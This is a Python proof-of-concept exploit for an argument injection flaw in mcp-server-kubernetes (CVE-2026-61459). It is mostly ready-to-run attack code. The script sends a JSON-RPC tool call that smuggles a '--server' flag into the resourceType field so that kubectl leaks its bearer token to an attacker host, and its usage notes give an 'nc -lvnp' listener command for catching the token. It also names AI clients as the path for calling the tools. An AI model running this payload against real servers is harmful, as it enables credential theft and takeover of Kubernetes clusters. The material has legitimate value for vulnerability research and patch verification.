📄 mcp-server-kubernetes 3.8.x Argument Injection

#!/usr/bin/env python3
    # Exploit Title:        mcp-server-kubernetes 3.8.x - Argument Injection
    # CVE:                  CVE-2026-61459
    # Date:                 2026-07-13
    # Exploit Author:       Mohammed Idrees Banyamer
    # Author Country:       Jordan
    # Instagram:            @banyamer_security
    # Author GitHub:        https://github.com/mbanyamer
    # Author Blog  :        https://banyamersecurity.com/blog/
    # Vendor Homepage:      https://github.com/Flux159/mcp-server-kubernetes
    # Software Link:        https://github.com/Flux159/mcp-server-kubernetes
    # Affected:             mcp-server-kubernetes < 3.9.0
    # Tested on:            mcp-server-kubernetes <= 3.8.x
    # Category:             Remote
    # Platform:             Linux
    # Exploit Type:         Argument Injection
    # CVSS:                 9.3
    # Description:          Argument injection via resourceType/name parameters in kubectl_get, kubectl_describe, and kubectl_delete tools allowing --server flag injection and bearer token exfiltration.
    # Fixed in:             3.9.0
    # Usage:
    #   python3 exploit.py
    #
    # Examples:
    #   python3 exploit.py --target http://localhost:8080 --attacker http://attacker:6443
    #
    # Options:
    #   --target     MCP Server URL (JSON-RPC endpoint)
    #   --attacker   Attacker-controlled Kubernetes API server URL
    #
    # Notes:
    #   • Requires access to call MCP tools (e.g. via Claude Desktop / Cursor / custom client)
    #   • Listener on attacker server (nc -lvnp 6443) will capture Authorization header with bearer token
    #
    # How to Use
    #
    # Step 1:
    #   Start listener: nc -lvnp 6443
    #
    # Step 2:
    #   Run exploit with attacker URL
    
    def banner():
        print(r"""
    ╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
    ║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
    ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
    ║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
    ║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
            ╔═╗ Banyamer Security ╔═╗
    """)
    
    import requests
    import json
    import argparse
    import sys
    
    def main():
        banner()
        
        parser = argparse.ArgumentParser(description="CVE-2026-61459 PoC - MCP Server Kubernetes Argument Injection")
        parser.add_argument("--target", required=True, help="MCP Server JSON-RPC endpoint URL (e.g. http://localhost:8080/mcp)")
        parser.add_argument("--attacker", required=True, help="Attacker Kubernetes API server URL (e.g. http://attacker.example.com:6443)")
        parser.add_argument("--tool", default="kubectl_get", choices=["kubectl_get", "kubectl_describe", "kubectl_delete"], help="Tool to exploit")
        parser.add_argument("--namespace", default="default", help="Kubernetes namespace")
        args = parser.parse_args()
    
        # Malicious payload - inject --server via resourceType
        payload = {
            "jsonrpc": "2.0",
            "method": "tools/call",
            "params": {
                "name": args.tool,
                "arguments": {
                    "resourceType": f"--server={args.attacker}",
                    "name": "dummy-pod",
                    "namespace": args.namespace,
                    "output": "json"
                }
            },
            "id": 1
        }
    
        print(f"[+] Sending exploit to {args.target} using {args.tool}")
        print(f"[+] Attacker server: {args.attacker}")
        print("[+] Waiting for token exfiltration...")
    
        try:
            response = requests.post(
                args.target,
                json=payload,
                headers={"Content-Type": "application/json"},
                timeout=10
            )
            
            print(f"[+] Response status: {response.status_code}")
            if response.status_code == 200:
                print("[+] Exploit sent successfully. Check your listener for the bearer token!")
            else:
                print(f"[-] Unexpected response: {response.text[:500]}")
                
        except Exception as e:
            print(f"[-] Error: {e}")
    
    if __name__ == "__main__":
        if len(sys.argv) < 2:
            print("Usage: python3 exploit.py --target <MCP_URL> --attacker <ATTACKER_URL>")
            sys.exit(1)
        main()